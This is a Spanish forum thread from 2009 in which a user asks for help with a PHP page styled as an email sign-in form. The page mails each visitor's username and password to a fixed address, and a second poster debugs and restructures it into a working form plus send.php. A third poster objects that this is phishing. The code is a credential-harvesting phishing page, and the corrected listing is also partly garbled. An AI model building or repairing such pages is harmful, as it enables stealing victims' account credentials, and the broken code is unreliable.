Ayuda envio formulario php!

Iniciado por 3dw1n, 9 Septiembre 2009, 02:18 AM

0 Miembros y 1 Visitante están viendo este tema.

3dw1n

Necesito ayuda deseo hacer envio de datos al correo electronico, las variables nunca se envian con los datos que cargo en los input quisiera que me ayudaran estoy novato en php, no se si se crean 2 paginas una html y php o en una sola php se puede hacer eso ayudenme a ver donde tengo el error

este es el code:

Citar
<html>
<head>
<meta>
<title>Untitled Document</title>
</head>
<body>
<form name='formulario' id='formulario' method='post' action='formsolo.php' target='_self'>

<tr><td valign="top" class="css0059" align="right"><label for="i0116">Dirección de correo electrónico:</label></td><td valign="top" class="css0093">
<p><input name="usuario" id="usuario" type="text" maxlength="113" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p>
  <tr><td valign="top" class="css0059" align="right"><label for="i0118">Contraseña:</label></td><td valign="top" class="css0093">

  <p><input name="clave" type="password" maxlength="16" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p>
<input name='submit' type="submit" value="    Iniciar sesión    " class="css0088"  />
</form>


<?php

   $to = "corrreo@dominio.com";
   $subject = "Probando envio datos"; 
   $usuario = "Usuario: " . $_POST['usuario'] . "\n";
   $clave = "Clave: " . $_POST['clave'] . "\n";
 
   mail($to, $subject, $usuario, $clave);
   
?>
</body>
</html>

actualemte estoy usando este servidor gratuito el cual me da email para hacer las pruebas. espero su ayuda gracias!!  ;D
"De Venezuela para el mundo"

Og.

no se envia ningun dato por que primero envias el e-mail y despues le muestras el formulario al usuario :P
lo "correcto" seria:

Código (php) [Seleccionar]
<html>
  <head>
    <meta>
    <title>Untitled Document</title>
  </head>
  <body>
    <form name='formulario' id='formulario' method='post' action='send.php' >
      <table>
        <tr>
          <td valign="top" class="css0059" align="right"><label for="i0116">Dirección de correo electrónico:</label></td>
          <td valign="top" class="css0093"><p><input name="usuario" id="usuario" type="text" maxlength="113" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p></td>
        <tr>
          <td valign="top" class="css0059" align="right"><label for="i0118">Contraseña:</label></td>
          <td valign="top" class="css0093"><p><input name="clave" type="password" maxlength="16" autocomplete="off"  style="ime-mode:disabled" class="css0034" /></p><input name='submit' type="submit" value="    Iniciar sesión    " class="css0088"  /></td>
        </tr>
      </table>
    </form>
  </body>
</html>


send.php

Código (php) [Seleccionar]
<?php
  
if($_POST['usuario']!=NULL and $_POST['clave']!=NULL)
    {
    
$to "corrreo@dominio.com";
    
$subject "Probando envio datos"
    
$usuario "Usuario: " $_POST['usuario'] . "\n";
    
$clave "Clave: " $_POST['clave'] . "\n";
    
mail($to$subject$usuario$clave);
    } else {
    
// aqui hiria lo que pasa si no se especifica nombre de usuacio o clave ¬¬
    
}
?>




Saludos!
|-

jdc

no deberían ayudar a gente a hacer phishing incluso esta en las normas no?